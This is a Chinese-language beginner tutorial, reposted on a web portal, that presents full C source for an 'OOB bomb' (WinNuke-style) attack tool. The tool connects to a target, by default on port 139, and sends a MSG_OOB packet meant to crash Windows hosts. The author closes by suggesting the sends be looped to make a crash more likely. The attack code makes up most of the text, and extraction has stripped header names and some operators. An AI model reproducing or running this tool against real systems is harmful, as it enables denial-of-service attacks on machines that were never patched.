linux下OOB炸弹的制作

王朝system·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

环境:Redhat 7.2 + gcc

前言:

本文章只是为了给广大和我一样的菜鸟一个指引。如果你是高手,或对编程毫无兴趣。建议请不要在此浪费时间。

记得还是在上高中时,第一次接触了winnuck蓝屏炸弹。那时感觉非常神秘。后来才知道原来那时所谓的蓝屏炸弹就是 OOB 炸弹。

首先让我们了解一下什么是 OOB 炸弹。OOB 炸弹,顾名思义就是向对方发送一个 OOB 消息,由于操作系统漏洞的缘故而造成异常错误(通常表现就是蓝屏,顾得名蓝屏炸弹)。当然这里的操作系统特指windows。

下面就结合实力给大家介绍一个 OOB 炸弹的编制方法。下面这个程序我没有进行测试,原因有很多。主要是没有条件。我也不保证这是一个能用的版本,因为据我了解,MS早已经对这个漏洞进行了修复。今天的这个文章全当是纪念吧!让大家了解一下,原来炸弹不过如此(话虽然这么说但是能写出好炸弹的还是高人,比如最近闹得沸沸扬扬的SYN Flood)。

/*------------------------------oob_bomb.c-----------------------------------*/

/*gcc -O -o tcpscan scan.c*/

/* oob bomb */

/* mikespook I.D.K */

/* 2002.5.21 */

#include

#include

#include

#include

#include

/* 这个函数是用来检查输入的参数是IP地址还是主机名 */

int correcthost(const char *host, struct sockaddr_in * sock);

main(int argc, int *argv[])

{

/* 所要攻击的端口,一般 OOB 炸弹默认的是139端口 */

int n_port;

/* socket套接字 */

int sock_id;

/* 返回错误码 */

int rtn_err;

/* socket结构,建立连接、发送消息全靠它了 */

struct sockaddr_in remote_sock;

/* 消息 */

char *pc_msg;

/* 处理命令行参数 */

if(argc != 4){

if(argc != 3){

if(argc !=2){

printf("Usage: oob_bomb [port] [message]\n");

printf("Writen by mikespook\n");

printf("mikespook@hotmail.com\tWith subject: report for bomb\n");

exit(0);

}else

/* 如果没有输入端口号就用默认的139端口 */

remote_sock.sin_port = htons(139);

}else

/* 否则使用输入的端口 */

remote_sock.sin_port = htons(atoi(argv[2]));

pc_msg = ":-)";

}else{

remote_sock.sin_port = htons(atoi(argv[2]));

pc_msg =(char *)argv[3];

}

rtn_err = correcthost((char *)argv[1], (struct sockaddr_in *)&remote_sock);

if(rtn_err != 0)

exit(1);

remote_sock.sin_family = AF_INET;

/* 建立一个socket套接口 */

sock_id = socket(AF_INET, SOCK_STREAM, 0);

if(sock_id

perror("\nsocket");

exit(2);

}

/* 当然要连接上才能继续了 */

rtn_err = connect(sock_id, (struct sockaddr *)&remote_sock, sizeof(remote_sock));

if(rtn_err

perror("\nconnect");

exit(3);

}

/* 呵呵,送一个MSG_OOB消息,"Bomb..." */

rtn_err = send(sock_id, pc_msg, strlen(pc_msg), MSG_OOB);

if(rtn_err == -1){

perror("\nsend");

exit(4);

}

printf("OOB_Bomb Success!\n");

close(sock_id);

exit(0);

}

/* 这个函数我在上次的tcp connect扫描器的制作中有介绍,不多说了 */

int correcthost(const char *host, struct sockaddr_in *sock)

{

struct hostent *struct_host;

if(isdigit(*host))

sock-sin_addr.s_addr = inet_addr(host);

else{

struct_host = gethostbyname(host);

if(struct_host != NULL)

bcopy(struct_host-h_addr, (char *)&sock-sin_addr, struct_host-h_length);

else{

printf("Get error with host name.\n");

return -1;

}

}

return 0;

}

-------------------------------------------------------------------------------

最后补充一下,在发送MSG_OOB消息的时候一般的 OOB 炸弹会做一个循环,大量的发送 MSG_OOB 消息,以增加对方当机的可能性。原理我已经说了,改进就由你完成了。:)

由于我是菜鸟,或许有什么不对的地方。也可能一些细节我没有考虑到。如果你知道的话希望不惜指教。小弟感激不尽!!

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航